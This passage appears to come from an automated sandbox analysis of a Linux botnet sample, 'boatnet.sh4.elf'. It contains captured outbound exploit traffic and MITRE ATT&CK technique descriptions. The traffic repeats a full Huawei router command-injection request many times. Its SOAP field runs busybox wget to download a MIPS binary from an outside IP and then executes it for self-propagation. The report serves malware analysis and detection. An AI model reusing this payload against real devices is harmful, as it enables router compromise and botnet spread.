HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.14	46892	41.47.169.228	37215

Timestamp	Bytes transferred	Direction	Data
Jan 30, 2025 10:43:11.254117966 CET	915	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 36 39 2e 31 32 39 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.169.129 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.14	38272	41.20.70.109	37215

Timestamp	Bytes transferred	Direction	Data
Jan 30, 2025 10:43:11.254630089 CET	915	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 36 39 2e 31 32 39 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.169.129 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.14	47334	41.226.182.138	37215

Timestamp	Bytes transferred	Direction	Data
Jan 30, 2025 10:43:11.255340099 CET	915	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 36 39 2e 31 32 39 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.169.129 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.14	34000	197.50.204.108	37215

Timestamp	Bytes transferred	Direction	Data
Jan 30, 2025 10:43:11.255831003 CET	915	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 36 39 2e 31 32 39 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.169.129 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.14	57582	197.119.158.61	37215

Timestamp	Bytes transferred	Direction	Data
Jan 30, 2025 10:43:11.256326914 CET	915	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 36 39 2e 31 32 39 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.169.129 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.14	45874	156.100.169.193	37215

Timestamp	Bytes transferred	Direction	Data
Jan 30, 2025 10:43:11.257441044 CET	915	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 36 39 2e 31 32 39 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.169.129 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.14	56234	156.207.40.203	37215

Timestamp	Bytes transferred	Direction	Data
Jan 30, 2025 10:43:11.257937908 CET	915	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 36 39 2e 31 32 39 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.169.129 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.14	35414	41.139.128.121	37215

Timestamp	Bytes transferred	Direction	Data
Jan 30, 2025 10:43:11.258465052 CET	915	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 36 39 2e 31 32 39 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.169.129 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.14	60026	197.8.180.225	37215

Timestamp	Bytes transferred	Direction	Data
Jan 30, 2025 10:43:11.258964062 CET	915	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 36 39 2e 31 32 39 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.169.129 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

System Behavior

Analysis Process: boatnet.sh4.elf PID: 5479, Parent PID: 5405

General

Start time (UTC):	09:42:58
Start date (UTC):	30/01/2025
Path:	/tmp/boatnet.sh4.elf
Arguments:	/tmp/boatnet.sh4.elf
File size:	4139976 bytes
MD5 hash:	8943e5f8f8c280467b4472c15ae93ba9

Start time (UTC):	09:42:59
Start date (UTC):	30/01/2025
Path:	/tmp/boatnet.sh4.elf
Arguments:	-
File size:	4139976 bytes
MD5 hash:	8943e5f8f8c280467b4472c15ae93ba9

Start time (UTC):	09:42:59
Start date (UTC):	30/01/2025
Path:	/tmp/boatnet.sh4.elf
Arguments:	-
File size:	4139976 bytes
MD5 hash:	8943e5f8f8c280467b4472c15ae93ba9

Start time (UTC):	09:42:59
Start date (UTC):	30/01/2025
Path:	/tmp/boatnet.sh4.elf
Arguments:	-
File size:	4139976 bytes
MD5 hash:	8943e5f8f8c280467b4472c15ae93ba9

Start time (UTC):	09:42:59
Start date (UTC):	30/01/2025
Path:	/tmp/boatnet.sh4.elf
Arguments:	-
File size:	4139976 bytes
MD5 hash:	8943e5f8f8c280467b4472c15ae93ba9

Start time (UTC):	09:42:59
Start date (UTC):	30/01/2025
Path:	/tmp/boatnet.sh4.elf
Arguments:	-
File size:	4139976 bytes
MD5 hash:	8943e5f8f8c280467b4472c15ae93ba9

Start time (UTC):	09:42:59
Start date (UTC):	30/01/2025
Path:	/tmp/boatnet.sh4.elf
Arguments:	-
File size:	4139976 bytes
MD5 hash:	8943e5f8f8c280467b4472c15ae93ba9

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
